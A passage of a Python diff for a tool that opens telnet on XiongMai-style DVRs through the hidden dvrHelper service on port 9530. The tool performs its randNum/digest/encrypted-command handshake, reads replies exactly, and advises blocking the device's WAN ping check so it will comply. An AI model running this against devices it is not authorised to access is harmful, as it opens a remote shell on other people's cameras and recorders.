pw) + ct2 = xm_encrypt(CMD_PLAINTEXT, rand, pw) + k1, k2, _ = _schedules(rand, pw) + plain = b"" + for i in range(0, len(ct2), 8): + d = ct2[i:i + 8] + d = _block(d, k1, False) + if k2 is not None: + d = _block(d, k2, True) + d = _block(d, k1, False) + plain += d + if plain != CMD_PLAINTEXT: + raise AssertionError(f"XM3DES round-trip failed for passwd {pw!r}") return got @@ -267,25 +288,27 @@ def _frame(payload): return bytes([len(payload) + 1]) + payload -def _recv_frame(sock, timeout): - """Read one server frame. Each server send() is a single segment with - a known-exact length and NO terminator; asking for more bytes would - block into the server's 15 s select timeout and wreck the session. - One recv plus a short drain for rare segmentation is what a verified - session showed.""" +def _recv_exact(sock, n, timeout): + """Read exactly n bytes, however many segments they arrive in. + Every server reply has a protocol-fixed length and NO terminator -- + and the success and error replies of one step differ in length + ("verify:OK" is 9 bytes, "verify:ERROR" is 12), so each step reads + to a known prefix length and then, when needed, the few remaining + bytes of the recognized alternative. Asking for extra bytes instead + would block into the server's 15 s select timeout and wreck the + session; reading a fixed length once could truncate a reply split + across segments, so loop until n or the timeout.""" sock.settimeout(timeout) - try: - data = sock.recv(256) - except socket.timeout: - return b"" - sock.settimeout(0.3) - try: - more = sock.recv(256) - if more: - data += more - except (socket.timeout, BlockingIOError, OSError): - pass - return data or b"" + data = b"" + while len(data) < n: + try: + chunk = sock.recv(n - len(data)) + except socket.timeout: + break + if not chunk: # server closed the connection mid-frame + break + data += chunk + return data def open_telnet_9530(host, port=XM9530_PORT, passwd=XM9530_PASSWD, @@ -303,24 +326,30 @@ def open_telnet_9530(host, port=XM9530_PORT, passwd=XM9530_PASSWD, passwd = passwd.encode() if verbose: print(f"[9530] contacting dvrHelper on {host}:{port}") - s = socket.create_connection((host, port), timeout=timeout) + # All socket errors (refused connection, resets, mid-handshake + # drops, timeouts) are reported and returned as False, so callers + # can fall back to their other routes instead of crashing. + try: + s = socket.create_connection((host, port), timeout=timeout) + except OSError as e: + print(f"[9530] cannot reach {host}:{port}: {e}") + return False try: s.sendall(_frame(b"OpenTelnet:OpenOnce")) - resp = _recv_frame(s, timeout) + resp = _recv_exact(s, 16, timeout) # "randNum:%08d" if verbose: print(f"[9530] <- {resp!r}") - if not resp.startswith(b"randNum:"): - print(f"[9530] unexpected reply (no randNum) -- abort") + if len(resp) != 16 or not resp.startswith(b"randNum:"): + print("[9530] unexpected reply (no randNum) -- abort") return False rand = resp[8:16] - if len(rand) != 8: - print("[9530] malformed randNum -- abort") - return False digest = xm_digest(rand, passwd) if verbose: print(f"[9530] randNum={rand.decode()} digest={digest.hex()}") s.sendall(_frame(b"randNum:" + digest)) - resp = _recv_frame(s, timeout) + resp = _recv_exact(s, 9, timeout) # "verify:OK" (9 bytes) + if resp.startswith(b"verify:ER"): # "verify:ERROR" (12) + resp += _recv_exact(s, 3, timeout) if verbose: print(f"[9530] <- {resp!r}") if resp.startswith(b"verify:ERROR"): @@ -329,32 +358,34 @@ def open_telnet_9530(host, port=XM9530_PORT, passwd=XM9530_PASSWD, "fix the password (check /mnt/custom/TelnetOEMPasswd) " "and NEVER blind-retry.") return False - if not resp.startswith(b"verify:OK"): + if resp != b"verify:OK": print("[9530] verification failed without a reply -- abort") return False ct = xm_encrypt(CMD_PLAINTEXT, rand, passwd) s.sendall(_frame(b"CMD:" + ct)) - # Three WAN pings of 2 s each before the verdict: allow the time. - deadline = time.monotonic() + 30 - resp = b"" - while time.monotonic() < deadline: - resp = _recv_frame(s, 10) - if resp: - break + # The server pings 114.114.114.114 / 8.8.8.8 / 180.76.76.76 + # (`ping -w 2` each) before the verdict: allow for three + # two-second waits plus slack. + resp = _recv_exact(s, 7, 30) # "Open:OK" (7 bytes) + if resp.startswith(b"Refuse:"): # "Refuse:Internet" (15) + resp += _recv_exact(s, 8, timeout) if verbose: print(f"[9530] <- {resp!r}") - if resp.startswith(b"Open:OK"): + if resp == b"Open:OK": if verbose: print("[9530] Open:OK -- telnetd is up on port 23") return True - if b"Refuse:" in resp: - print("[9530] Refuse:" + resp[8:].decode(errors="replace") + if resp.startswith(b"Refuse:"): + print("[9530] " + resp.decode(errors="replace") + " -- the device still passes its WAN ping check " "(114.114.114.114 / 8.8.8.8 / 180.76.76.76). " "Block those destinations and retry.") return False print(f"[9530] no Open:OK ({resp!r})") return False + except OSError as e: + print(f"[9530] connection error: {e}") + return False finally: s.close()